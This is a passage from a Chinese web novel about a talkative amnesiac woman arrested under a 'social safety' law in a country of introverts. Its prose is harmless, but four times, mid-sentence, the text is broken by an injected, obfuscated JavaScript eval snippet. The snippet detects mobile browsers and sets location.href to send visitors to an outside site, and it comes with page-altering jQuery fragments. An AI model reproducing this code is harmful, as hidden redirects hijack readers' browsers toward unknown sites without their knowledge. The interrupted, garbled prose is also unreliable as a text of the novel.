《社牛在内向国》 1. 社交悍匪 一男子劫持研学的小学生,将其带到楼顶。 三个便衣警察急匆匆上楼,楼梯间发出急促的脚步声,在安静的室内格外明显。 “据资料显示,该男子为重度社恐,请执法警察注意保持个人距离,不要靠得太近以免对方出现应激反应。” 机械音通过蓝牙耳机传递关键信息,三人纷纷停下脚步。 这三名警察中,只有穆冬一个人是中度社恐,其余两人都是重度社恐。 因此穆冬站在最前面,和人交涉的案子都由他打头阵。 “他重度社恐,我们不能这么多人一起去,你们去楼下布置救生气垫,以免人质坠落,我去和他谈。”穆冬和同事商量好分工。 两个同事点头如捣蒜,没有异议,要他们和劫匪交涉,恐怕几个重度社恐只能背对背沉默,干其它的活儿正好。 穆冬同每一个不爱外露的内向国人一样,总是冷着一张脸。 他右眉的眉毛断了一点儿,像刀在金属上的划痕,格外明显,因此看上去有些凶,但证件照上眉毛是饱满完整的,略显和善。 三个月前他还是特警,因执行特别任务负伤,才被调到这个普通警局工作。 他冲上顶楼,冬日里阳光难得这么明媚,暖洋洋的阳光落到雪地上,还有些刺眼。 “你好,能和你说话吗?”穆冬在手机自带的传话本里打出这一行字,考虑到对方社恐程度很深,他不敢靠近给她看文字,选用了文字转语音,用机械音播放。 在内向国,要和人搭话,必须要发出通话邀约,待对方确认后才可以进行交流,否则会违反《社交安全保护条例》,违者会被判社区服务或者缴纳罚金。 特殊情况下可以不遵守,但穆冬现在以便衣的身份交涉,他不想刺激劫匪。 “可以。”对方直接口语回复,这让穆冬诧异,这不像是一个重度社恐的人能做出来的事。 “来啊,一起看烟花。”劫匪主动邀约,他双手死死抓住小孩儿,仰望晴空,露出陶醉的表情,仿佛置身于夜晚绚丽的烟火中。 穆冬第一判断是此人精神失常,他慢慢靠近劫匪,想找机会救下小孩儿。 “你想干什么,想靠近我?”劫匪忽然严肃道。 被发现了,穆冬心里一悬,庆幸对方手里没有凶器,但又害怕他会对小孩儿做出过激行为。 “你来啊,你快过来,我的朋友,别管什么社交安全距离。”劫匪忽然变了脸,殷切道。 他交涉的一切行为都被随身携带的微型摄像头传送到局里。 局长神色凝重,让警员继续调劫匪的档案。 穆冬还不敢放松,靠了过去,他必须要先解救人质。 “哇,好大的烟花,真漂亮。”劫匪松开了小孩儿的手,惊讶地对着空空如也的天空抱头呐喊。 穆冬抓住时机,一把拉过小孩儿,而后凭借过硬的身体素质反身将劫匪撂倒在地。 危机成功解除。 出警的几人还来不及庆祝,局长忽然用急切的声音呼叫,“穆冬,快去支援,有特大社交悍匪流窜作案,现在沉默公交站等车。” 穆冬来警局三个月都做着整理表格的闲差,本以为无用武之地,没想到今天接连来了两个大案子,他本来就是干特警出身的,势必要把正义的铁拳挥向侵犯公共社交安全的不法分子。 而“特大社交悍匪”阿熠排队候车中,排队的每个人之间都隔着安全社交距离,唯独她,离前面的人就隔了一步远。 大家的衣服不是黑的就是白的,一眼望过去几乎都一样,还带着口罩,根本分不清谁是谁。 阿熠就不一样,她虽然也穿了白色羽绒服,但用了五彩的马克笔绘制图案,在单调的人群中格外亮眼。 她要坐321路公交车,等了有一会儿,觉得实在枯燥,便自顾自地哼起歌。 是她最近追的一部古装剧的片尾曲。 候车现场十分安静,除她以外的所有人都默不作声,这使得她哼唱的声音很明显,不少人好奇地往她这里看了一眼,但也只是一眼,这是大家基于《社交安全保护条例》的尊重。 321路公交车在她期待的目光中到站,一想到自己即将拥有新的身份,就对未来的生活充满了向往。 今天天气真好,在这之前可是连着阴了许多天,她喜欢晒太阳,但从10月开始,太阳在10点才会升起来,日子越往后,升得越晚。 树上的冰晶被暖阳照的璀璨,阿熠最喜欢亮晶晶的东西。 她的心情美妙到不能形容,高兴地像一颗闪闪发光的钻石,而珠宝是要用以展示,收割世人的注目和赞叹。 “嗨,你好啊,司机大叔。”她笑着打完招呼,而后才投进去两块硬币。 车上众人齐齐看了她一眼。 司机师傅表面上不动声色,其实内心活动非常丰富,她为什么要跟我打招呼啊?有事要我帮忙吗?她为什么要对我笑?不会是喜欢我吧?我都一大把年纪了也不帅啊,这姑娘莫不是脑子有问题? “那边的乘客你们好吗?”如开演唱会的明星,但她没有话筒,便左手放嘴边弯出半个喇叭模样,右手拼命挥舞。 所有乘客脚趾扣紧,他们替人尴尬的心情在这一刻到达了巅峰。 “那边的朋友,让我看到你们的双手。”她高呼道,左右手换了动作,热情地面向右边的乘客。 零星几个不懂拒绝的乘客还真的举起了双手,他们喜提众人的目光,于是齐刷刷收回手,顺便拉高了一下口罩。 可阿熠的话得到了回应,她便更加兴奋。 “今天是个好日子,我要有新名字了。”她双手张开,好像在拥抱世界。 司机大叔在行驶之余,默默按下了报警按钮。 车厢上座位都是双排的,但除了最后一排,其他每一对双排座都只坐了一个人,剩下三个乘客干站着,可能下一站就下车吧,懒得坐。 阿熠没多想,坐到一个女生身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326502|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边。 女生脖子上围着一条普通的白色丝巾,什么花纹都没有,但阿熠很喜欢,便开口询问:“小姐姐丝巾哪儿卖的?好漂亮,你眼光真好,戴着它美出了新高度。” 对方戴着口罩和帽子,她只能看到一双眼睛,但这不影响她拍马屁。 小姐姐脸都涨红了,但这搭话太突兀,她不想回答。 于是将手机递给阿熠看,传话本上赫然写着一行字“对不起,对方拒绝了你的通话。” “不要啊,你告诉我哪家店就行,人美心善的小姐姐,发发慈悲吧。”阿熠还在死缠烂打。 众人的目光有意无意地朝她们这边扫过来,让小姐姐倍感窘迫,尴尬地瞥过头去,恨不得找个独处室钻进去。 大巴停靠在雪街站台,几个便衣警察假扮乘客上了车。 穆冬走在最前面,迫不及待挥舞铁拳。 社交悍匪很好认,那一身色彩斑澜的衣服在人群中非常亮眼,他看到阿熠的时候,她还在骚扰另一个乘客。 当着他的面儿都这么猖狂。 为了不惊动社交悍匪,穆冬保持着一定的安全距离。 阿熠索要丝巾购买方式失败,失望地扭过头,发现车上多了好几个乘客,离她最近的一个最帅。 帅哥头发剪的清爽,剑眉星目,但眼神太严肃,鼻梁高挺,嘴唇薄而唇角自然往下勾一点儿,看着有些凶,他的气质版正,浑身散发着正义的气息。 阿熠脱口就问:“帅哥,你是警察吗?” 暴露即动手,凭着肌肉记忆穆冬一把擒住阿熠,将她双手铐住。 “你真的是警察?”阿熠还有些懵,“但你拷我干嘛?” 穆冬冷漠地出示了证件照,雪街警局穆冬警官。 阿熠很快脑补出一个合理解释,他们在演习。 她本来就要去警局,便问:“是不是还要带我回警局啊?” 穆冬点了一下头。 “好耶。”阿熠高兴叫道,可以白嫖警车去警局了,不用走路,“今天真是个好日子。” 挑衅,这一定是挑衅,穆冬从警多年还没见过这么猖狂的犯罪分子。 穆冬向阿熠发出通话邀请。 阿熠心想好正式啊,这演习真有意思,毫不犹豫同意了。 “严肃。”穆冬在传话本上打下这两个字,这才是他发出通话邀请的主要目的。 “好的。”要不是阿熠手被铐着,她高低要敬个礼。 她随穆冬上了警车,两个人都坐在后排。 “好有意思,我第一回坐警车。”阿熠还有些兴奋。 “接下来我还要干嘛?” “做笔录。”穆冬惜字如金。 但他全程没有和阿熠说过一句话,都是在传话本上打的字。 阿熠还以为他是哑巴,觉得这警官真不容易,同情道:“我一定好好配合。” 她态度忽然正向起来,穆冬瞥了她一眼,不知她在打什么鬼算盘…… 2. 审问 雪街警局连续五年被评为安静市优秀警局,是模范警局。 警局拥有一栋六层小楼,和内向国其他建筑相差无几,一样没有任何外饰,只是把外面刷的雪白。 “这警局怎么修的和商场一样啊?”要不是上面挂着警局的招牌,阿熠根本分不清这是警局还是商场。 她大大方方地走进去,逛商场一样轻松。 “你好,你好,幸会幸会……”她和每一个见到的警察以及来这里办案的人打招呼。 所有人都尴尬回避,没有一个人搭理她。 “大家都好冷漠啊。”阿熠心想,纵使人再热情,没有一丝回应,也会感到挫败,从早上出院到现在,整整一个上午她都没有收到过一个问候。 “保持安静。”穆冬打字警告。 阿熠更失落,但仍乐观地想,这个世界如此冷漠,我还如此热情,果然,这个世界没我不行。 待她进了审讯室,立刻好奇打量起屋子里的陈设,一套桌椅、一套电脑、墙角的监控摄像头,别的什么都没有了。 “这演习好逼真啊,做完笔录还要干什么?”阿熠兴奋问道。 “谁告诉你这是演习了?”穆冬把传话本给她看,随后把她一个人留在审讯室。 在内向国人均社恐,大家都不喜欢和不熟的人面对面交流,所以即便是审讯,警察和嫌疑人也是分开的。 “现在开始做笔录。”电脑屏幕忽然亮了,屏幕实时显示出文字。 审讯员穆冬和局长仅一墙之隔,审讯室装有监控,阿熠的一举一动他们都能看到、听到。 “做什么笔录,我犯什么事了?”阿熠满脸茫然,不像是演的。 但作为专业的警察,不会听信嫌疑人的一面之词。 “今天上午,我局收到大量群众举报你危害社交安全的投诉邮件。”局长敲下关键信息。 “社交安全?那是什么?”阿熠从没有听说过这几个字。 “今天下午你在鲜花路和陌生人打招呼,骚扰了过路的二十六个路人;在候车站未遵守安全距离;上公交车时,骚扰司机及全体乘客,乘车途中,在不经同意的情况下坐到陌生乘客旁边,别人在明确拒绝你的通话后,你还一再进行对话交流,索要对方私人信息……如此种种,全部都违反了《社交安全保护条例》。” 穆冬将整理好的信息全都敲了下来。 “你的意思是我这些都犯法了?”她一脸不可置信。 “是的,所以你为什么要这么做?你的姓名是什么?职业是什么?”穆冬打字的速度很快。 “打招呼也犯法吗?”阿熠今天可是逢人就打招呼。 “根据《社交安全保护条例》,陌生人之间未经过通话邀请的,不能打招呼。” 阿熠无辜地眨巴着眼睛,怪不得警察小哥会专门给她发通话邀请,怪不得没有一个人主动跟她打招呼。 “那安全社交距离又是什么东西?” “《社交安全保护条例》里明确规定,陌生人之间应该间隔一米,这是陌生人之间该有的安全社交距离。” 怪不得大家都隔的这么开,阿熠汗颜。 “可那个位置是空的啊……空的也不能坐吗?”她又问。 “根据2182年通过的《公共交通乘客落座法案》,如无特殊情况,陌生乘客间应保留一个位置的空隔。” 怪不得有那么多空位却没人坐,真是奇葩的法案,她在心里吐槽。 “现在请你认真回答问题,你可以用麦克风语音回答。”穆冬贴心打下这行字。 嫌疑人也大都社恐,从没有人用过麦克风回答问题,但她不一样,她是社交悍匪,用口语交流完全没有心理负担。 “你的姓名、职业?” “我现在只有名字,没有姓,姓还没想好。”阿熠如实回答。 可这回答听起来太不走心了,跟闹着玩儿似的,“请严肃。”穆冬不悦。 “本来就没有姓,我今天是特意从医院溜出来办身份证明的。” “从医院溜出来?哪家医院?这是怎么回事?”穆冬问。 “就是安静市脑部健康医院。” 局长一听这医院,什么都明白了,小声跟穆冬说:“小穆,你不是去过那家医院吗,但你可能不知道,那家医院最有名的是精神、心理、脑部疾病和社交障碍的治疗,我估计她有社牛什么的。” “三个月前,我出过一场事故,醒来后就什么都不记得了。前几天医生说我头部伤口恢复的很好,很快就能出院了,所以我想先办一个身份证明,我总归是要回归社会的嘛。”阿熠如实交代,“我连自己姓甚名谁都不知道,哪里还记得那么多法规。” “只是头部有问题,没有其他的问题吗?比如社交障碍?”局长又问。 “我觉得我社交没有障碍,挺健康的,落落大方,一点儿都不怯场。”阿熠自我评价很高,“活泼、热情、分享欲旺盛……”她觉得自己身上有太多美好的品质了,说不完,根本说不完。 “这姑娘病得不轻啊。”局长叹息道,“可惜了,白长这么漂亮。” “你有其他亲友吗?”局长开始打字,想找到她的监护人,虽然从她的情况来看这个概率渺茫。 “我什么都不记得,也没人来认领我。”一想到这里阿熠就难过,“不过我有一个朋友,叫江雪。” “你确定你们是朋友,而不是你单方面拿她当好友?”结合目前掌握的情况,穆冬觉得这个社交悍匪大概率是传说中的自来熟,而所谓的“朋友”可能压根儿都不认识她。 “可不要小看我和她的友情。”她看起来很生气,辩驳道:“她一直照顾我,怎么不算朋友?” 好吧,这么看的话确实算。 “那你提供一下你朋友的其他信息,比如电话、邮箱、家庭地址之类的。” 她摇摇头,失落道:“我不知道。” “那你们怎么认识的?”穆冬匪夷所思。 “我住院的时候认识的,她是我的护士。” 护士!穆冬心中小小地惊讶了一下,所以这个照顾是基于护士照顾病人那种吗?这算什么朋友,果然是自来熟。 在内向国,所有形式的社会关系认证都很严格,人们虽然社恐,不会轻易发展一段人际关系,但也因为社恐十分看重每一段人际关系。《社交安全条例》大部分法令都是针对陌生人设置的,为的是保护个人边界,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326503|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太适用于朋友和亲人。 “女士,我需要纠正一下你,你们之间的关系还到不了朋友。”穆冬单独强调这一点是因为他觉得这个社交悍匪可能因为自来熟侵犯过这位护士的个人边界。 “不可能,她就是我的好朋友,你信不信我这么久不回去,她一定急疯了。”阿熠辩驳道。 当一个护士丢了一个严重“社交障碍”的病人,当然会急疯。 “天呐,三十六号床的病人不见了。”江雪把整个医院都翻过来找了一遍,瞬间觉得天塌了。 穆冬正好来医院核实情况,为建设美丽市容,大型公共设施都在装修,医院也不例外。 他出示警察证,在取得了对方的通话同意后,才开始提问,且全程都是用的文字交流。 “请问你认识这个人病人吗?她应该是脑科那边的病人。” 江雪一看穆冬出示的照片,恰好就是她刚丢的病人,激动地点头,在传话本上打字的速度飞快,“认识,我正在找她,她今天还没有吃药。” “看来你就是照顾她的护士?” “是的。”江雪点了点头,用一种惋惜的目光输入文字,“其实她挺可怜的,年纪轻轻就得了社牛,很难治的,还很影响生活。以她脑部的恢复状况,本来下周就能从脑科出院,如果她愿意还能转到社交障碍科接受封闭治疗。” “你是说她有社牛这种社交障碍,有诊断书吗?”穆冬打字问。 “有的,我可以提供她的诊断记录,其实她接受过一段时间的治疗,但她对药物的排异反应很大,加上她头部有很严重的创伤,考虑到她的身体情况,主治医生不得不放弃了针对她社牛病症的用药。” “她是什么时候在你们医院接受治疗的?” “请允许我查一下记录。”江雪打开住院系统,但是电脑已经很老旧了,总是很卡,要等待一两分钟才会跳出界面。 “不好意思系统有些老,需要一些时间。”她抱歉地解释道,无比希望院方能将对电脑及系统的更新放在医院翻修的前面。 她好不容易才将日期调到了三个月前,江雪还补充了“患者”的一些个人情况,比如当时接受“患者”时发现她全身多处骨折和擦伤,但脸部却没有任何伤口,后脑疑似被钝物重击,且后脑伤势严重,能抢救回来纯属奇迹。 “你们清楚她是什么原因受伤的吗?”穆冬追问。 “不清楚,送她来医院的人是一群垂钓爱好者,他们在安静自然森林公园发现了她,据他们说,从现场痕迹看,她像是失足从山上掉下来的,而且她被发现的时候身上除了经典衣服就什么都没有,我们也找不到她的亲人或者朋友。”江雪还记得那个情形,一群垂钓爱好者什么都没钓到,但意外发现了她,且为了谁先发现她争论不休。 内向国人不喜欢引人注目的感觉,这会让他们倍感压力,因此大家喜欢穿一样的衣服,他们倾向于通过同样的衣着将自己藏匿在人群中,以此降低存在感,所以衣服款式不多,就那么几样,被称为经典衣服。 仅凭这些消息无法确定“患者”之前的身份信息,穆冬略感失望。 例行询问后,他还取走了一份“患者”在医院的诊疗记录。 3. 直视 阿熠的情况特殊,穆冬给了她一副对讲设备,自己坐在二楼办公室,一边上传病情报告,一边着手办理她的个人身份证明,“我们先给你办理身份证明,你给自己想过名字吗?” 一般案件办理都是文字交流,但她的情况例外,为方便沟通,他使用了文字转语音。 “当然了,我已经想好一个名字,但是我还没有想好姓氏。”被关了一中午,阿熠却没有半分疲惫,还很有精神。 “女士,我需要告知你,像你这种情况,只能统一姓默。”穆冬打下的每一个字都变成了机械电子音。 “还有这种规定啊,那好吧。”她勉强认下,“这个默姓有什么讲究吗?” “默有沉默、不语、暗中等意思。” “感觉寓意不太好的样子。”她皱眉,一脸的嫌弃。 “女士,这是国人很喜欢的姓氏,寓意着美好的祝福。” “算了,我不计较这个姓。”她摆手笑道:“我给自己起的名字是熠,熠熠生辉的熠,我就喜欢闪亮耀眼、璀璨夺目。” 这名字寓意才不好吧,穆冬心想,于是做简单提醒,可对方坚持己见,秉着尊重的原则,他没再多说,很快办理好她的临时身份证明。 “默熠女士,你需要在处罚回执书上签字,介于你的情况特殊,对你的处罚是320小时的社区服务,你也可以选择缴纳罚金。”穆冬拿着两张单据下楼来到审讯室,耳里还有没拔掉的蓝牙耳机。 默熠疑惑地看了看回执书,又看了看穆冬,然后视线就一直停留在他的脸上,她的脑海里怎么也找不出和“社区服务”有关的信息,但她很明确的是自己没有钱交罚金。 穆冬心里不悦,被人直视让他倍感冒犯。内向国人连朋友间都不会这么直视对方的眼睛,“我有必要提醒你,根据《社交安全保护条例》,非亲友、合作关系外的人,不可直视对方的脸,尤其眼睛超过五秒。” “所以我到底要干什么?”不能看脸,她就只能打量他脸以外的部位,那就是只能看身材了。 “咳咳……”穆冬气愤地满脸涨红,觉得自己被人非礼了,他义正言辞道:“你放尊重点,看地上。”这一句他没有用文字交流,而是冒犯性地用了口语回复。 “原来你会说话啊,我还以为……”默熠差点就把哑巴两个字说了出来。 穆冬随意丢给她一把扫帚,打发道:“现在,你可以去扫雪了。” “你先把警局外面的雪扫了吧,想早点做完社区服务就不要随便打扰人,堆雪点在隔壁那条街,小推车在门口。”穆冬语气冷漠,表情严肃,加之略带凶相的断眉,默熠不敢多说,她拿着扫帚幽怨地望着他的背影,待他走远了才小声吐槽道:“什么嘛,凶巴巴的,态度一点都不友好,才不会有女孩子喜欢你。” 而后还严谨地补上一句:“也不会有男孩子喜欢你。” “默熠女士,你的麦没关。”穆冬在扶梯那里转过身,一脸正色,“下不为例。” 他的音量控制得很好,既能让她听清楚,又没有超过安全分贝。 默熠咽了咽口水,这是她苏醒后第一次感受到尴尬,糟了,他该不会针对我吧,早知道就不多舌了,她忽然明白安静广场“沉默是金”的标语寓意。 雪下了一夜,积得很厚,一脚踩下去脚都没影儿,要想用这把小扫帚把警局外的积雪清理干净,还不如等到开春雪都化了呢。 不行,用这么个小玩意儿扫这么多雪,她的胳膊迟早要废。 “哒哒哒哒……”她兴冲冲地跑上二楼,连门都忘了敲就直接冲了进去。 办公室里除了穆冬以外还有一男一女两个警员。 见到生人,让他们肉眼可见地变得拘谨。 默熠没想到办公室还有其他人,路过他们工位的时候笑着赔礼,“不好意思啊,打扰了”,她故意将声音压低,因为她注意到这里的人说话都小声。 走到穆冬面前时,立刻收起了笑容,认真道:“能换一个工具吗?把这扫把扫秃了我也不能把外面的雪扫完啊。” “可以,一楼过道里应该有清雪铲。”穆冬还是冷着一张脸,打字的时候眼底都看不到什么波澜。 “就没有更大的工具吗?我今天上午路过安静广场的时候,看到有那种清雪的车。”默熠则和他截然相反,她说话不仅表情丰富,语气明显,还喜欢用肢体语言,在说到清理积雪的车时双手往外比划着,她好像很怕词不达意,如果她有一部手机,一定会找出相关图片给他看。 “你没有驾照。” 这几个字像针一样,刺得她泄了气,“好吧。”语气里满满的失落。 “你现在可以出去了,下次进来记得敲门,还有,请不要随意打扰。”穆冬不喜欢“被打扰”,除非“被打扰”这件事在他的待办清单里。 在她离开办公室之前,她被塞了一本《社交安全保护条例》,还有一张回执单,因为她刚刚没有发出通话邀约,就擅自和办公室里的其他人说了话,所以她的处罚又增加了十个小时。 “连道歉也要先发出通话邀请吗?”她苦脸道。 “是的,因为别人不一定稀罕你的道歉。”穆冬解释道,“而且我要提醒你,社牛属于限制社交行为能力人,是不能主动发起通话邀请的,对你的处罚会比一般人更重。” 热情如她,也经不住这连番的打击,焉巴茄子一样下了楼。 茶水间在二楼靠窗的位置,在这里能看到警局前面的空地,以及不远处的一条主干道,因为前面在修建一座游乐园,施工车辆来往频繁。 穆冬给自己泡了一杯咖啡,默熠在空地上卖力地铲雪。 “小穆啊,你的工作做得非常出色。”局长背着手过来,他今年五十二,个子不高,中年发福,内向国日照不长,阳光可以说是非常珍贵的东西,因此他即便时常外出,也没有晒得黝黑的机会,是个白净的胖子。 穆冬听了这话,隐隐动了一下眉毛,按照国人的传统,夸一个人只有两种情况,一是这个人有十二分的优秀,那大家会勉强夸出个五六分来;二是对方有不好处理的事要甩给他。 显然穆冬认为自己属于后者。 “局长,你有什么事直说吧。”穆冬并不兜圈子。 局长尴尬地摸了摸鼻子,“是这样,你知道的,像这样的社牛是很难得的,大家都有社交恐惧症,但你好像没那么社恐……”此话一出局长就后悔自己说错话了,在内向国,社交恐惧症并不是一种病,而只是作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326504|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为一种属性的代名词,一个人社交恐惧症浓度越高,在国民属性方面就越纯正。他害怕自己被误会,紧接着解释:“我没有说你不社恐,我的意思是你特警出身,打击特大犯罪的经验丰富,应对某些特殊犯罪分子有自己的优势。” 穆冬已经猜到局长想给自己安排什么工作,他的视线落到默熠身上,默熠正生气地踹着雪,“面对罪犯时,我在社交方面的压力确实要小些,局长,我知道你的意思,我会监督好她的。”他不带任何感情地回复。 局长心里松了一口气,可脸上仍看不出欣喜的表情,“那就辛苦你了,有机会我一定给上面打报告给你调回去的。“ 穆冬感到欣慰,但脸上也未流露出任何表情,他简单回复了一句“谢谢”,彻底结束了对话。 若是默熠在场,见到这样冷言冷语的对话,肯定会觉得二人相互厌弃对方。 但在内向国,大家不喜欢感情外露。 默熠铲掉了空地上六分之一的雪,累得瘫坐在警局台阶上,扫雪这种体力活对于一个才达到出院水平的病人来说多少是不合适的。 她默默算了一下,330个小时的社区服务,每天干满10个小时,都要差不多一个月,这也太难熬了,她的新生活,人生的新篇章居然是这样开始的。 但偏偏所有人都对她避之不及,想哭诉都找不到人,而且她还不能主动跟人说话。 警局来往的人不多,但只要有人来,她就无比期待,心里不停默念,“快和我搭话啊,我不会投诉你的……” 但在社交这件事上,她的热情即便稀释成千分之一,也比一个一般人活跃。 没有任何人搭理她,她觉得自己被全世界孤立了。 就在她情绪低落之际,一个手机屏幕被送到她面前,上面赫然显示着“对方发来了一条通话邀约。” 她毫不犹豫选择了同意。 “你好你好,我是默熠。”如果可以,她真想拥抱住这个主动和她说话的大善人,但《社交安全保护条例》不允许,她不想再增加服务时长了。 “喝杯咖啡吧,虽然你很有活力,就当暖暖身子。”泉氤送来一杯热咖啡,鹅蛋脸,荔枝眼,她化着淡妆,没有用任何突出自己的妆容手法,连口红都是刻意追求的裸色,相当低调,这让她的气质更加温和。 但在国人非黑即白的搭配审美下,她脖子上却系了一条特别的淡紫色丝巾,再仔细看她的袖口内侧还绣了黑色字母。 “谢谢,人美心善的小姐姐。”她愉快接受,没有一丝拘谨,靠近时她嗅到泉氤身上淡淡的香水味儿,是一款清冷风格的香水,带点苦的味道,不会让人腻,有种知性的感觉。 “请允许我打量你。”泉氤像是在笑。 “你随便打量。”默熠一点儿也不觉得冒犯,还转了一圈,展示自己,骄傲道:“这衣服我画了好久呢。”脸上的笑容就没停下过。 “都说今天抓到一个社牛,果然名不虚传。”像是和她想象中的社牛形象对应上了,她满意点头,将视线礼貌地从默熠脸上移开,“我还是第一次见到活的。” “你这话说的好像你以前见到的都是死的?”默熠苦笑。 “没错,我以前见到过一个死的。” 4. 扫雪 “我是法医,他是我解剖的。”泉氤解释道。 默熠震惊地眨了眨眼。 “抱歉,我好像吓到你了。”泉氤和她保持开一定距离。 “没事没事,我只是有些惊讶,但这是警局,我遇到法医很合理。”默熠笑道。 听到她略带尴尬的笑声,“你比我想象中的更爱笑。” “你不也笑吗?”默熠反问。 “我没有笑,我只是微笑唇。”泉氤侧了下脸,指着自己嘴角自然上翘的地方给她看。 “有一种夸张的说法,得是遇到普天同庆的事,内向国人才会弯上一点点嘴角,当然这个习惯对家人、爱人、挚友无效,尤其是在爱人面前。”泉氤说,她的手机震动了一下,“不好意思,我要工作了,以后有空再聊。” 在走之前,她严肃地告诫道:“冬天在外面睡觉可是会出大事的,所以喝喝咖啡提提神吧。” “这种天气一般人不会在外边儿睡觉吧。”默熠喝着暖暖的咖啡,她只能想到无家可归的人才会这样。 “当然,酒鬼不算一般人。”泉氤忽然眯了下眼睛,凑近了跟默熠说:“上个星期,警局门口还冻死了一个醉汉,就在我们站的这个地方。” 默熠被吓得跳开,剩下半杯咖啡撒了一地,她浑身打哆嗦,手臂上都起了鸡皮疙瘩。 “把扫雪的工人吓坏了……”她还在补充细节,一边说一边靠近,直到把默熠的声音吓变形。 “开玩笑了,别当真。”泉氤坏笑道,“我只是吓吓你,冬天很少有人喝醉的,因为冬天有禁酒令。” “先不闲聊了,我要工作了。”走之前,泉氤告诉她:“一楼左侧楼梯口有饮水机,白天都有热水供应的。那里也有免费的一次性纸杯。” 深色咖啡把雪咬出几个黑色小洞,默熠蹲下去看了看,若有所思…… 穆冬看到泉氤和默熠交流时,就没有再看二人了,说实话,他不太喜欢监督默熠这份工作,站在楼上看她有没有认真扫雪给他一种偷窥他人的感觉,这种感觉很猥琐。 但是他又做不到下去当面监督,他和人面对面交流的压力只是小,不代表没有压力。 况且扫雪而已,能出什么事,他便没多管。 下午两点半,备忘录事项跳出来提醒他该吃药了。 穆冬严格按照规划生活,他服下治疗药物,随后划去待办清单上按时服药的事项。 姐姐发来问候信息,“冬冬,你下个月有假吗?姐姐来看你。” “下个月有假,我需要申明我今年已经27岁,不要再叫我冬冬。”穆冬严肃回复。 “你姐我打你才出生就这么叫,叫了这么多年,改不了,冬冬多顺口啊。” “我希望你能尊重我。”穆冬冷脸回复,还发了一个严厉的表情。 “我看你小子是皮痒了,老娘收拾你一顿就好了。”穆璇脾气爆,就这么一句话把键盘打得噼里啪啦的。 穆冬心里舒服了,被叫臭小子也比冬冬好。 “我刚刚订好票了,下个月的。” “好的。” 穆冬在下个月的事项安排上添加日程“姐姐要来”。 “叮叮叮……”一连串刺耳的响声让人不得不迅速按下暂停键。 这是报警邮件的声音,在不紧急的时候,内向国人倾向于写邮件报警。 早在四个月前,内向国首都就陆续出现入室盗窃事件,奇怪的是盗贼不盗取现金,对贵重物品也不感兴趣,唯独喜欢偷盗日记、日常传话本等极具隐私属性的物品,弄的大家人心惶惶,不知道哪天就隐私泄露“裸奔”社死,大家将其称之为“隐私大盗”。 穆冬认真看完报警邮件。作案手法和隐私大盗相似,盗贼掠过报案人的贵重物品,像现金、首饰一类,转而盗走了报案人的私密物品。这是安静市发生的第三起隐私盗窃案。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326505|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 报案人的日记本、手帐、日常传话本全部被盗走。 穆冬迅速处理完相关信息,汇总报告给了局长,局长当即带了三个人出警,誓要亲自将这名隐私大盗拿下。 虽然盗贼早已逃跑,但局长、穆冬等四个人仍穿戴完整,不仅把头盔、防弹衣等各种护具都上了身,还配备了手枪、□□等器械,局长想通过如此正式的衣着传递“警方重视此案”的信息,以此安慰受害者情绪,让其放心。 默熠受热咖啡融化雪的启发,自研出“天才除雪法”,即用热水融化雪,因此早早完成了扫雪任务,外头太冷,她就躲在大厅取暖看新闻,手里捧着咖啡,把咖啡当暖手宝用。她看到全副武装的四个人气势汹汹地下了楼,心想一定是出大案子了。 只见四个人三步并作两步跨下台阶,完全没有注意到结冰的地面,不出意外地四个人齐齐摔倒在地,得亏他们的护具戴的好,身体只是轻微扭到了。 “谁铲的雪?”局长怒道,几个人小心翼翼地从地上爬起来。 穆冬很懵,怎么有人铲个雪还能铲成这样,绞尽脑汁也想不明白她是怎么铲雪成冰的? 默熠听到外面的动静,急忙出来回应,“我铲的,我铲的,怎么了?”她态度积极,虽然还不知道自己犯了什么事,同时脚步飞快,三步并作两步地跨下台阶,连局长和几个警员都来不及叫住她,“别别别,别下来……” 